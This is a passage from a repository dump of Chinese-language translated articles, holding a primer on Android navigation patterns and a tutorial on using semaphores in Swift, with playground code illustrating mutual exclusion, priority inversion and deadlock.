[Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-primer-on-android-navigation.md",
    "content": "\n> * 原文地址：[A Primer on Android navigation](https://medium.com/google-design/a-primer-on-android-navigation-75e57d9d63fe)\n> * 原文作者：[Liam Spradlin](https://medium.com/@LiamSpradlin)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/a-primer-on-android-navigation.md](https://github.com/xitu/gold-miner/blob/master/TODO/a-primer-on-android-navigation.md)\n> * 译者：[horizon13th](https://github.com/horizon13th)\n> * 校对者：[SumiMakito](https://github.com/sumimakito), [laiyun90](https://github.com/laiyun90)\n\n# 安卓界面导航初识\n\n> 界面中任何引领用户跳转于页面之间的媒介 —— 这便是导航\n\n当你的应用中的两个不同页面产生联系时，导航便由此而生。跳转链接（不论从哪跳到哪）便是页面间传递用户的媒介。创建导航相对容易，但想要把导航**做好**并不总是那么简单。这篇博文里，我们探讨一下安卓系统下最常见的导航模式，看看它们是怎样影响系统布局，以及如何为你的应用界面，用户量身打造导航栏。\n\n---\n\n### ✏️ 定义导航\n\n在深入探索导航模式前，让我们先退后一步回到起点，做一个小练习，回想一下你的应用中的导航。\n\n在 Material Design 网站中有许多 [优秀设计规范](https://material.io/guidelines/patterns/navigation.html#navigation-defining-your-navigation) 介绍了如何着手定义导航结构。但本文中我们把所有的理论归结为简单的两点：\n\n- 基于**任务和内容**构建导航\n- 基于**用户**构建导航\n\n基于**任务和内容**构建导航意味着，将任务分步骤拆分。设想用户在完成任务的过程中应该做什么看到什么，怎样处理步骤之间的关系，决定哪一步更重要，哪些步骤是并列关系，哪些步骤是包含关系，哪些步骤常见或不常见。\n\n至于基于**用户**构建导航，只有真正使用过你设计的界面的用户才能告诉你这适不适合他们。你所设计的导航最好能帮助他们更好地使用应用，带给他们最大化的便利。\n\n当你搞清楚在你的应用中，多个任务怎样协同工作的，便可以着手设计。用户在完成任务的过程中可以看到什么内容，在什么时候，以什么方式来呈现。这个小练习能够让你从根本上思考什么样的设计模式能更好地服务于你的 app 体验。\n\n📚 分解任务行为以设计导航更多内容，详见 [Material Design](https://material.io/guidelines/patterns/navigation.html)。\n\n---\n\n### 🗂 标签页（Tabs）\n\n![](https://cdn-images-1.medium.com/max/2000/1*7VP4nwgLIOSLg2W13Iz6Dg.png)\n\n#### 定义\n\n标签页提供了在相同父页面场景下，同级页面间的快速导航。所有的选项卡是位于同一平面的，这意味着，他们可以放置在同一可扩展的状态栏上，也可以相互改变位置。\n\n标签页是很好的页面内容过滤、分段、分级工具。但是对于毫无关联的内容，或是层级化结构内容，也许其它的导航模式会更合适。\n\n📚 设计标签页的更多细节 [参考此处](https://material.io/guidelines/components/tabs.html#)，更多实现 [参考此处](https://developer.android.com/training/implementing-navigation/lateral.html)。\n\n#### 标签页实例\n![](https://cdn-images-1.medium.com/max/800/1*tgbpHME812InaPR0FW6qaw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*BrOW6gtAXsqg4xymoOq9pQ.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*PJTRuuAemKls6g1l9YJkqQ.png)\n\nPlay Music 应用，Google+ 应用，Play Newsstand 应用\n\nPlay Music 应用（左）使用标签页增加音乐库的探索深度，以不同的方式组织大致相同的内容，为用户定制不同的探索方法。\n\nGoogle+ 应用（中）使用标签页将收藏列表分块，每个类别下都是深层异构的内容。\n\nPlay Newsstand 应用（右）在媒体库页面使用标签页来呈现相同信息的不同集合 － 其中一个选项卡呈现一个整体的多层次的集合，另一个选项卡显示浓缩集合的大标题。\n\n#### 访问记录\n\n标签页一般为同一级别，因此它们的布局在相同的父级页面下。两个标签页间的切换不需要为系统后退键或应用的返回键新建历史记录。\n\n---\n\n### 🍔 侧边栏／抽屉式导航栏（Nav drawers）\n\n![](https://cdn-images-1.medium.com/max/2000/1*OlvxTeFymVd35TFE1d4QcA.png)\n\n#### 定义\n\n侧边栏（抽屉式导航栏）可以理解为附于页面左部边缘的垂直面板。设计者可以将侧边栏设计在屏幕外或屏幕内可见，持续存在或者不用时隐藏，但这些不同的设计往往有相同的特点。\n\n通常侧边栏会列出一些同级的父级页面们，尤其用于放置较重要的页面，又例如一些“设置”，“帮助”这类特殊页面。\n\n如果你将侧边栏和另一个导航控件相组合——底部导航栏，那么侧边栏可以放置一些二级链接，或者底部导航不能直接到达的重要链接。\n\n当使用侧边栏时，要注意链接**类别**——放过多的链接，或展示过多不同级别的链接，都会让应用的层次结构显得混乱。\n\n还有需要注意的一点是界面的可视性。侧边栏可以很好的帮助应用减少可视性，压缩与主要内容无关的导航区。但是，这也可能成为应用的不足，取决于导航栏的目标链接在具体场景中如何呈现和被访问。\n\n📚 设计侧边栏的更多细节[参考此处](https://material.io/guidelines/patterns/navigation-drawer.html)，更多实现[参考此处](https://developer.android.com/training/implementing-navigation/nav-drawer.html)。\n\n#### 侧边栏实例\n\n![](https://cdn-images-1.medium.com/max/800/1*dFyqnTkAgdbLlFf5unYuTg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*_3x6wIR1_bJYacP85YcSKg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*t4KPT6fq_zgLH04hEuDsag.png)\n\nPlay Store 应用，Google Camera 应用，Inbox 应用\n\nPlay Store 应用（左上）使用侧边栏展示应用商店的不同区域，每一栏都链接到不同区域的内容。\n\nGoogle Camera（中上）使用侧边栏列出其它支持功能——大部分是提升照相体验的其他应用外链，当然了还有相机设置。\n\nInbox（右上）邮箱应用使用了伸长版的侧边栏。顶端是电子邮箱的主要功能链接，用于展示不同类别的邮件，侧边栏的下方则为一些支持工具和扩展包。由于电子邮箱的侧边栏非常的长，“设置”和“帮助反馈”按钮固定在侧边栏底端，方便用户随时访问。\n\n#### 访问记录\n\n当应用程序有明显的“返回首页”功能时，侧边栏应当为系统创建“返回首页”的功能。例如，在 Play Store 应用商店中，点击“返回首页”按钮回到页面“应用程序及游戏”，展示给用户的是所有类别的精选应用。因而 Play Store 应用创建了从其它页面到主页面的返回功能。\n\n同样的，在使用 Google Camera 相机应用时，当用户点击返回键时，返回到相机的默认拍摄界面。\n\n![](https://cdn-images-1.medium.com/max/800/1*lVkPA6HXWIXX83XwkLZFuA.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*1JNy36LE4MknD-fzvblvCg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*IsXPcy3A3NB0DcuypPqG9A.png)\n\n“开始导航” 圆形按钮增强主地图功能。\n\n谷歌地图（如上）也用了相同的方案，侧边栏的选项要么是在地图上加层，要么增强主地图提供辅助功能。所以当用户点击“返回”按钮时回到的也是默认地图界面。\n\n![](https://cdn-images-1.medium.com/max/800/1*cZMuV29jlk2r-SKVWOTCTw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*-peWUuc8UOhglfOo2yzsSA.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*nq4Zb0Oc_6_pDfpCIUufGw.png)\n\n你可能会注意到，随着你进入其他页面，Play Store 谷歌商店（上图）工具栏中的侧边栏图标并未改变。这是因为侧边栏的按钮在应用的层级结构中为同一级别。由于用户并没有深入到子级页面（例如，点击“音乐与视频”），因而侧边栏的图标并不会改变成返回上一级的样式。用户始终在最顶级的页面，只不过是在同级页面中切换而已。\n\n---\n\n### 🚨 底部导航（Bottom nav）\n\n![](https://cdn-images-1.medium.com/max/2000/1*ucVh0hZm7BLSQiI-yzet3Q.png)\n\n#### 定义\n\n在安卓系统中，底部导航控件通常由三到五个目的地按钮构成。重要的一点是，“更多”按钮并不能看作一个目的地，更不是菜单或对话框。\n\n当你的应用只有有限个数的顶级页面需要被访问时，使用底部导航栏最合适（底部导航千万不能滚动）。底栏最主要的优点在于，可以从子页面迅速跳入毫无关联的顶级页面，而无需先导航到当前页面的父页面。\n\n值得注意的是，尽管底部导航的链接应当在应用中有相同的层级结构，但是他们和标签页截然不同，也绝不能以标签页的形式展现。\n\n切换底部栏，暗示着两个面板是毫无关系的。每个面板是孤立的父节点，而不是其它面板的兄弟节点。如果你的应用中，两个面板有相同内容或者相同的父节点，也许用标签页是更好的选择。\n\n📚 设计底部导航的更多细节[参考此处](https://material.io/guidelines/components/bottom-navigation.html#)，更多实现[参考此处](https://developer.android.com/reference/android/support/design/widget/BottomNavigationView.html)。\n\n#### 底部导航实例\n\n![](https://cdn-images-1.medium.com/max/800/1*FCTrc2tb_5VLXSLmCGd0Qw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*xqbx9YxgmpibQQEpXoljHQ.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*3_WrkSIhD7Y7jG9h4nCM6Q.png)\n\nGoogle Photos 相册应用\n\n除了底部导航的基本定义，还有一些有意思的点值得考虑。也许最复杂的问题就是：底部导航栏是否要持续存在？答案和许多设计决策一样，那就是：“看情况”。\n\n通常底部导航在整个应用中是持续存在的，但在某些情况下，导航栏是隐藏的状态。例如用户使用的应用只有很浅的层次结构，像收发短信这类单一功能的页面，又或者应用想给用户更深刻的用户体验，那底部导航或许隐藏起来更好。\n\n在 Google Photos 相册应用中（上图），底部导航在相册中是隐藏的。相册在整个层级结构中处于第二层，比相册更深一层只有查看相片，打开它时从相册页面顶部展现。这种实现方式满足了隐藏底边导航以达到“唯一目的”的规则。当用户进入程序最顶层时，为其创造沉浸式体验。\n\n#### 其它考虑\n\n如果底部导航在整个应用中持续存在，那么下一个需要考虑的问题便是底部导航的跳转逻辑。假设一个用户在深层层级结构中进行跳转，从一个子页面切换到另一个子页面，再点击返回跳转到前一个子页面，那他到底应该看到哪一个页面呢？父级页面？还是他停留过的子级页面？\n\n这个功能应该取决于应用的使用者。一般来说，点击底部按钮应该直接跳转到关联页面，而不是更深层的页面。不过话说回来还是老问题，**看情况**。\n\n#### 访问记录\n\n底部导航栏的点按不应该为系统“返回键”创建历史记录。不过层级结构中进入深层级可以为系统“返回键”创造系统历史记录，为应用创建“返回上级”访问记录，但是底部栏其本身便是一种具有记录历史特性的导航结构。\n\n点按底部导航按钮，应当直接跳转到关联页面。用户再次点击按钮应当跳转到该栏的父页面，或者当用户以及在父级页面时刷新页面。\n\n---\n\n### 🕹 上下文导航（In-context navigation）\n\n![](https://cdn-images-1.medium.com/max/2000/1*urOlDr3ceb6JiqdQsS4GmQ.png)\n\n#### 定义\n\n上下文导航由所有非上述导航控件间的交互组成。这些控件包括像按钮、方块、卡片，还有其它应用内跳转的内容。\n\n通常，上下文导航和常用导航形式相比，更多是非线性操作 —— 交互行为使用户在层级结构，离散型结构之间任意跳转，甚至跳转到应用之外。\n\n📚 设计上下文导航的更多细节[参考此处](https://material.io/guidelines/patterns/navigation.html#navigation-combined-patterns)。\n\n#### 上下文导航实例\n\n![](https://cdn-images-1.medium.com/max/800/1*kAS321rLOPopo2wj5Pt1rQ.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*Obz9UAi5l2lFxjEA107EXA.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*Ks9Fvut3daB1khAkoB7aaQ.png)\n\n时钟应用，Google 搜索应用，Google 日历应用\n\n时钟应用（左上）设计的很巧妙，有一个浮动操作按钮；Google 搜索应用（中上）主要靠下部卡片维护信息；Google 日历（右上）给每一个日历时间创建块状条目。\n\n![](https://cdn-images-1.medium.com/max/800/1*Ns0RzUEA6qmbQpILjMJMwA.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*OoSmQV5q6nN4gNSoVsIRNQ.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*ZWjwDWr61A5r8TprQiHCVw.png)\n\n在时钟应用里（左上）通过点击浮动按钮，即刻查看世界时钟；在 Google 搜索应用（中上）里点击天气卡片，搜索引擎立马为你展示“天气”的搜索结果；Google 日历（右上）点击块状条目进入事件详情页。\n\n我们也能看出来，这些截图展现了上下文导航给用户带来不一样的跳转体验。时钟应用里，用户进入应用的子级页面；Google 搜索应用使用卡片以增强主屏幕，而 Google 日历是点击打开[全屏窗口](https://material.io/guidelines/components/dialogs.html#dialogs-full-screen-dialogs)。\n\n#### 访问记录\n\n对于上下文导航，并没有对访问记录的硬性规定。访问记录的创建与否完全取决于使用什么形式的上下文导航，还有用户通过导航要去哪里。为了以防万一，在某些情况里应用创建什么类型的历史记录并不明确，设计者最好了解下，在通常情况点击返回键和向上键设置会产生什么操作。\n\n---\n\n### ↖️ 向上键、返回键、关闭键（Up, back, and close buttons）\n\n![](https://cdn-images-1.medium.com/max/2000/1*VBBwhx66_hRZApzdLzVrJA.png)\n\n返回键，向上键，关闭键这三个按键在安卓用户界面里都非常重要，但却常常被理解错误。实际上，从用户体验的角度，三个按钮都很简单，只要熟记下面的几条规则，保证再也不会陷入困惑。\n\n\n- **向上键**往往是当用户沿着应用层级结构返回上级菜单时使用到，常出现于应用工具栏。点击向上键，窗口延时间先后顺序后退直到用户到达最顶级父页面。由于顶级父页面无法再往上跳出应用，向上键不应该出现在顶极父页面中。\n\n- **返回键**存在于系统底部导航栏。它的导航作用是沿时间顺序后退，而非应用页面的层级关系，哪怕前一个时间节点是在其它应用中。它还用于关闭临时页面元素，比如对话框，底部表单等层叠面板。\n\n- **关闭键**通常用于关闭界面临时层，或者放弃修改[全屏对话框](https://material.io/guidelines/components/dialogs.html#dialogs-full-screen-dialogs)。例如 Google 日历事件详情页（下图）。全屏日历事件详情页面属于很明显是临时页，设计时使用关闭键。Google 邮箱应用（下图）中，从收件箱到邮件正文的渐进效果显示，邮件正文是收件箱页面的叠加层，因此使用关闭键较合适。 而 Gmail 应用中（下图）邮件正文是作为一个独立层存在于应用中的，因此返回键更合适。\n\n![](https://cdn-images-1.medium.com/max/800/1*zgH-Iq78hKbjiy-WaGl2uQ.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*BTqU6jg683KlT9cOZ98hpg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*4NyzX3EnqcytgxgfDRuzLg.png)\n\n日历应用，邮箱应用，Gmail 应用\n\n📚更多关于 后退键 vs 返回键 用户行为探讨，尽在 [Material Design](https://material.io/guidelines/patterns/navigation.html#navigation-up-back-buttons)。\n\n### 🔄 混合模式（Combining patterns）\n\n尽管在这份初学者指南中，我们主要分析了使用单个导航组件的成功案例。实际上，这些应用在组合运用多类导航时仍然表现出色，构建了合理的用户行为框架。在文章结尾，我们来看看几个混搭实例。\n\n![](https://cdn-images-1.medium.com/max/800/1*N_M792Hp2LBETAXjYgC3sw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*RHPlqE4izZiFmNfXnkYSpg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*SzghlBq-oWtLHwLaA85t1Q.png)\n\nGoogle+\n\n可能最显而易见的实例便是 Google+（上图），混合上述所有元素 —— 标签页、底部导航、上下文导航。\n\n分离来看，底部导航是 Google+ 的焦点，可以访问四个顶级页面。而标签页将页面结构化增强，通过不同类别拆分内容。而侧边栏囊括了剩余其它按钮，以访问频率区分主次。\n\n![](https://cdn-images-1.medium.com/max/800/1*cZMuV29jlk2r-SKVWOTCTw.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*IY9Ow4NVywiIC9YgfXlM4Q.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*GcX2vbkwoA8iGm3RwTsJVQ.png)\n\nGoogle Play 应用商店\n\nGoogle Play 应用商店（上图）使用侧边栏当作主要导航，大量使用上下文导航，局部使用标签页导航。\n\n上图中，我们看到所有从侧边栏进入的页面中，打开侧边栏的图标始终是可点按的，因为这些页面都是最顶级父页面。在顶端工具栏下方，小椭圆片帮助细分页面内容，是典型的上下文导航。在应用下载统计页面，标签页将排列好的应用分门别类。\n\n![](https://cdn-images-1.medium.com/max/800/1*c2rK-Zvz7W7aFThPSFqrJg.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*reXFTc6r_28x082Iyl74_A.png)\n\n![](https://cdn-images-1.medium.com/max/800/1*ZWjwDWr61A5r8TprQiHCVw.png)\n\nGoogle 日历应用\n\nGoogle 日历应用（上图）巧妙得使用了侧边栏导航和上下文导航。此处侧边栏是一个非标准的日历增强面板。日历本身由可扩展的工具栏控制，不同颜色的色块表示用户的日历事项，点击进入详情即可查看详细日程。\n\n📚 更多混合导航实例[参考此处](https://material.io/guidelines/patterns/navigation.html#navigation-patterns)。\n\n### 🤔 更多问题?\n\n导航本身是一个很复杂的话题，希望这篇导航初识能帮助到读者，对安卓导航的设计原理有一个较好的理解。如果你还有其它问题，欢迎留言或在推特 [#AskMaterial](https://twitter.com/search?q=%23AskMaterial) 话题下与 [Material Design](http://Material.io) 进行互动，当然还有我们团队账号，[猛戳这里](https://twitter.com/i/moments/884845596145836032)关注!\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/a-quick-look-at-semaphores.md",
    "content": "> * 原文地址：[A Quick Look at Semaphores in Swift 🚦](https://medium.com/swiftly-swift/a-quick-look-at-semaphores-6b7b85233ddb#.61uw6lq2d)\n> * 原文作者：[Federico Zanetello](https://medium.com/@zntfdr)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[Deepmissea](http://deepmissea.blue)\n> * 校对者：[Gocy015](http://blog.gocy.tech)，[skyar2009](https://github.com/skyar2009)\n\n---\n\n# 看！Swift 里竟然有红绿灯 🚦！\n\n首先，如果你对 GCD 和 Dispatch Queue 不熟悉，请看看 [AppCoda](https://medium.com/@appcodamobile) 的[这篇文章](http://www.appcoda.com/grand-central-dispatch/)。\n\n好了！是时候来聊聊信号量了！\n\n![](https://cdn-images-1.medium.com/max/1600/1*8ZCGzvA6DjfR9JoamqauoQ.jpeg)\n\n### 引言\n\n让我们想象一下，一群**作家**只能共同使用一支**笔**。显然，在任何指定的时间里，只有一名**作家**可以使用**笔**。\n\n现在，把**作家**想象成我们的线程，把**笔**想象成我们的**共享资源**（可以是任何东西：一个文件、一个变量、做某事的权利等等）。\n\n怎么才能确保我们的**资源**是真正[互斥](https://en.wikipedia.org/wiki/Mutual_exclusion)的呢？\n\n![](https://cdn-images-1.medium.com/max/1600/1*nfAYVSYFMB874-z4sfJ_YQ.jpeg)\n\n### 实现我们自己的资源控制访问\n\n有人可能会想：我只要用一个 **Bool** 类型的 **resourceIsAvailable** 变量，然后设置它为 **true** 或者 **false** 就可以互斥了。\n\n```\nif (resourceIsAvailable) {\n  resourceIsAvailable = false\n  useResource()\n  resourceIsAvailable = true\n} else {\n  // resource is not available, wait or do something else\n}\n```\n\n问题是出现在并发上，**不论线程之间的优先级如何，我们都没办法确切知道哪个线程会执行下一步。**\n\n#### 例子\n\n假设我们实现了上面的代码，我们有两个线程，**threadA** 和 **threadB**，他们会使用一个互斥的资源：\n\n- **threadA** 读取到 if 条件语句，发现资源可用，很棒！\n- 但是，在执行下一行代码（**resourceIsAvalilable = false**）之前，处理器切换到 **threadB**，然后它也读取了 if 条件语句。\n- 现在我们的两个线程都确信资源是可用的，然后他们都会执行**使用资源**部分的代码块。\n\n\n不用 GCD 编写线程安全的代码可不是一个容易的任务。\n\n![](https://cdn-images-1.medium.com/max/1600/1*p54pBislRafckGffcDqRdA.png)\n\n### 信号量是如何工作的\n\n三步：\n\n1. 在我们需要使用一个共享资源的时候，我们发送一个 **request** 给它的信号量；\n2. 一旦信号量给出我们绿灯（see what I did here?），我们就可以假定资源是我们的并使用它；\n3. 一旦不需要资源了，我们通过发送给信号量一个 **signal** 让它知道，然后它可以把资源分配给另一个的线程。\n\n当这个资源只有一个，并且在任何给定的时间里，只有一个线程可以使用，你就可以把这些 **request/signal** 作为资源的 **lock/unlock**。\n\n![](https://cdn-images-1.medium.com/max/1600/1*-_owdkyNPRUQS5a5yjdEkA.jpeg)\n\n### 在幕后发生了什么\n\n#### 结构\n\n信号量由下面的两部分组成：\n\n- 一个**计数器**，让信号量知道有多少个线程能使用它的资源；\n- 一个 **FIFO 队列**，用来追踪这些等待资源的线程；\n\n#### 请求资源: wait()\n\n当信号量收到一个请求时，它会检查它的**计数器**是否大于零：\n\n- 如果是，那信号量会减一，然后给线程放绿灯；\n- 如果不是，它会把线程添加到它队列的末尾；\n\n#### 释放资源: signal()\n\n一旦信号量收到一个信号，它会检查它的 FIFO 队列是否有线程存在：\n\n- 如果有，那么信号量会把第一个线程拉出来，然后给他一个绿灯；\n- 如果没有，那么它会增加它的计数器；\n\n#### 警告: 忙碌等待\n\n当一个线程发送一个 **wait()** 资源请求给信号量时，线程会**冻结**直到信号量给线程绿灯。\n\n⚠️️如果你在在主线程这么做，那整个应用都会冻结⚠️️\n\n![](https://cdn-images-1.medium.com/max/1600/1*3GANzX3n1uEiuhXE49fcrg.jpeg)\n\n### 在 Swift 里使用信号量 (通过 GCD)\n\n让我们写一些代码！\n\n#### 声明\n\n声明一个信号量很简单：\n\n```\nlet semaphore = DispatchSemaphore(value: 1)\n```\n\n**value** 参数代表创建的信号量允许同时访问该资源的线程数量。\n\n#### 资源请求\n\n如果要**请求信号量**的资源，我们只需：\n\n```\n semaphore.wait()\n```\n\n要知道信号量并不能实质上地给我们任何东西，资源都是在线程的范围内，而我们只是在请求和释放调用之间使用资源。\n\n一旦信号量给我们放行，那线程就会恢复正常执行，并可以放心地将资源纳为己用了。\n\n#### 资源释放\n\n要**释放**资源，我们这么写：\n\n```\nsemaphore.signal()\n```\n\n在发送这个信号后，我们就不能接触到任何资源了，直到我们再次的请求它。\n\n### Playgrounds 中的信号量\n\n跟随 [AppCoda](https://medium.com/@appcodamobile) 上[这篇文章](http://www.appcoda.com/grand-central-dispatch/)的例子，让我们看看实际应用中的信号量！\n\n> 注意：这些是 Xcode 中的 Playground，Swift Playground 还不支持日志记录。希望 WWDC17 能解决这个问题！\n\n在这些 playground 里，我们有两个线程，一个线程的优先级比其他的略微高一些，打印 10 次表情和增加的数字。\n\n#### 没有信号量的 Playground\n\n```\nimport Foundation\nimport PlaygroundSupport\n\nlet higherPriority = DispatchQueue.global(qos: .userInitiated)\nlet lowerPriority = DispatchQueue.global(qos: .utility)\n\nfunc asyncPrint(queue: DispatchQueue, symbol: String) {\n  queue.async {\n    for i in 0...10 {\n      print(symbol, i)\n    }\n  }\n}\n\nasyncPrint(queue: higherPriority, symbol: \"🔴\")\nasyncPrint(queue: lowerPriority, symbol: \"🔵\")\n\nPlaygroundPage.current.needsIndefiniteExecution = true\n```\n\n和你想的一样，多数情况下，高优先级的线程先完成任务：\n\n![](https://cdn-images-1.medium.com/max/1600/1*OjtJO8-44tStXpRS8y1N-A.png)\n\n#### 有信号量的 Playground\n\n这次我们会使用和前面一样的代码，但是在同一时间，我们只给一个线程赋予打印**表情+数字**的权利。\n\n为了达到这个目的，我们定义了一个信号量并且更新了我们的 **asyncPrint** 函数：\n\n```\nimport Foundation\nimport PlaygroundSupport\n\nlet higherPriority = DispatchQueue.global(qos: .userInitiated)\nlet lowerPriority = DispatchQueue.global(qos: .utility)\n\nlet semaphore = DispatchSemaphore(value: 1)\n\nfunc asyncPrint(queue: DispatchQueue, symbol: String) {\n  queue.async {\n    print(\"\\(symbol) waiting\")\n    semaphore.wait()  // 请求资源\n    \n    for i in 0...10 {\n      print(symbol, i)\n    }\n    \n    print(\"\\(symbol) signal\")\n    semaphore.signal() // 释放资源\n  }\n}\n\nasyncPrint(queue: higherPriority, symbol: \"🔴\")\nasyncPrint(queue: lowerPriority, symbol: \"🔵\")\n\nPlaygroundPage.current.needsIndefiniteExecution = true\n```\n\n我还添加了一些 **print** 指令，以便我们看到每个线程执行中的实际状态。\n\n![](https://cdn-images-1.medium.com/max/1600/1*g7SMrR7svWNetOqjSGIEYA.png)\n\n就像你看到的，当一个线程开始打印队列，另一个线程必须等待，直到第一个结束，然后信号量会从第一个线程收到 **signal**。**当且仅当此后**，第二个线程才能开始打印它的队列。\n\n第二个线程在队列的哪个点发送 **wait()** 无关紧要，它会一直处于等待状态直到另一个线程结束。\n\n**优先级反转**\n\n现在我们已经明白每个步骤是如何工作的，请看一下这个日志：\n\n![](https://cdn-images-1.medium.com/max/1600/1*eCFBl9XpF6JYX1b8xwD26w.png)\n\n在这种情况下，通过上面的代码，处理器决定先执行低优先级的线程。\n\n这时，高优先级的线程必须等待低优先级的线程完成！这是真的，它的确会发生。\n问题是即使一个高优先级线程正等待它，低优先级的线程也是低优先级的：这被称为[***优先级反转***](https://en.wikipedia.org/wiki/Priority_inversion)。\n\n在不同于信号量的其他编程概念里，当发生这种情况时，低优先级的线程会暂时**继承**等待它的最高优先级线程的优先级，这被称为：[***优先级继承***](https://en.wikipedia.org/wiki/Priority_inheritance)。\n\n在使用信号量的时候不是这样的，实际上，谁都可以调用 **signal()** 函数（不仅是当前正使用资源的线程）。\n\n**线程饥饿** \n\n为了让事情变得更糟，让我们假设在我们的高优先级和低优先级线程之间还有 1000 多个中优先级的线程。\n\n如果我们有一种像上面那样**优先级反转**的情况，高优先级的线程必须等待低优先级的线程，但是，大多数情况下，处理器会执行中优先级的线程，因为他们的优先级高于我们的低优先级线程。\n\n这种情况下，我们的高优先级线程正被 CPU 饿的要死（于是有了[饥饿](https://en.wikipedia.org/wiki/Starvation_%28computer_science%29)的概念）。\n\n#### 解决方案\n\n我的观点是，在使用信号量的时候，线程之间最好都使用相同的优先级。如果这不符合你的情况，我建议你看看其他的解决方案，比如[临界区块](https://en.wikipedia.org/wiki/Critical_section)和[管程](https://en.wikipedia.org/wiki/Monitor_%28synchronization%29).\n\n### Playground 上的死锁\n\n现在我们有两个线程，使用两个互斥的资源，“**A**” 和 “**B**”。\n\n如果两个资源可以分离使用，为每个资源定义一个信号量是有意义的，如果不可以，那一个信号量足以管理两者。\n\n我想用一个用前一种情况（2 个资源， 2 个信号量）做一个例子：高优先级线程会先使用资源 “A”，然后 “B”，而低优先级的线程会先使用 “B”，然后再使用 \"A\"。\n\n代码在这：\n\n```\nimport Foundation\nimport PlaygroundSupport\n\nlet higherPriority = DispatchQueue.global(qos: .userInitiated)\nlet lowerPriority = DispatchQueue.global(qos: .utility)\n\nlet semaphoreA = DispatchSemaphore(value: 1)\nlet semaphoreB = DispatchSemaphore(value: 1)\n\nfunc asyncPrint(queue: DispatchQueue, symbol: String, firstResource: String, firstSemaphore: DispatchSemaphore, secondResource: String, secondSemaphore: DispatchSemaphore) {\n  func requestResource(_ resource: String, with semaphore: DispatchSemaphore) {\n    print(\"\\(symbol) waiting resource \\(resource)\")\n    semaphore.wait()  // requesting the resource\n  }\n  \n  queue.async {\n    requestResource(firstResource, with: firstSemaphore)\n    for i in 0...10 {\n      if i == 5 {\n        requestResource(secondResource, with: secondSemaphore)\n      }\n      print(symbol, i)\n    }\n    \n    print(\"\\(symbol) releasing resources\")\n    firstSemaphore.signal() // releasing first resource\n    secondSemaphore.signal() // releasing second resource\n  }\n}\n\nasyncPrint(queue: higherPriority, symbol: \"🔴\", firstResource: \"A\", firstSemaphore: semaphoreA, secondResource: \"B\", secondSemaphore: semaphoreB)\nasyncPrint(queue: lowerPriority, symbol: \"🔵\", firstResource: \"B\", firstSemaphore: semaphoreB, secondResource: \"A\", secondSemaphore: semaphoreA)\n\nPlaygroundPage.current.needsIndefiniteExecution = true\n```\n\n如果我们幸运的话，会这样:\n\n![](https://cdn-images-1.medium.com/max/1600/1*_ASgiqbV_o9caE7M7hNBpQ.png)\n\n简单来说就是，第一个资源会先提供给高优先级线程，然后对于第二个资源，处理器只有稍后把它移动到低优先级线程。\n\n然而，如果我们不是很幸运的话，那这种情况也会发生：\n\n![](https://cdn-images-1.medium.com/max/1600/1*cVvGM-1NRH7kouSRu2mSRQ.png)\n\n两个线程都没有完成他们的执行！让我们检查一下当前的状态：\n\n- 高优先级的线程正在等待资源 “B”，可是被低优先级的线程持有；\n- 低优先级的线程正在等待资源 “A”，可是被高优先级的线程持有；\n\n两个线程都在等待相互的资源，谁也不能向前一步：欢迎来到[**线程死锁**](https://en.wikipedia.org/wiki/Deadlock)!\n\n#### 解决方案\n\n避免[死锁](https://en.wikipedia.org/wiki/Deadlock)很难。最好的解决方案是编写[不能达到这种状态](https://en.wikipedia.org/wiki/Deadlock_prevention_algorithms)的代码来防止他们。\n\n例如，在其他的操作系统里，为了其他线程的继续执行，其中一个死锁线程可能被杀死（为了释放它的所有资源）。\n\n...或者你可以使用[鸵鸟算法（Ostrich_Algorithm）](https://en.wikipedia.org/wiki/Ostrich_algorithm) 😆。\n\n![](https://cdn-images-1.medium.com/max/1600/1*Nmcb2GTIk-PO0TNPNPD8Mw.jpeg)\n\n### 结论\n\n信号量是一个很棒的概念，它可以在很多应用里方便的使用，只是要小心：过马路要看两边。\n\n---\n\n**[Federico](https://twitter.com/zntfdr) 是一名在曼谷的软件工程师，对 Swift、Minimalism、Design 和 iOS 开发有浓厚的热情。**\n"
  },
  {
    "path": "TODO/a-simple-object-model.md",
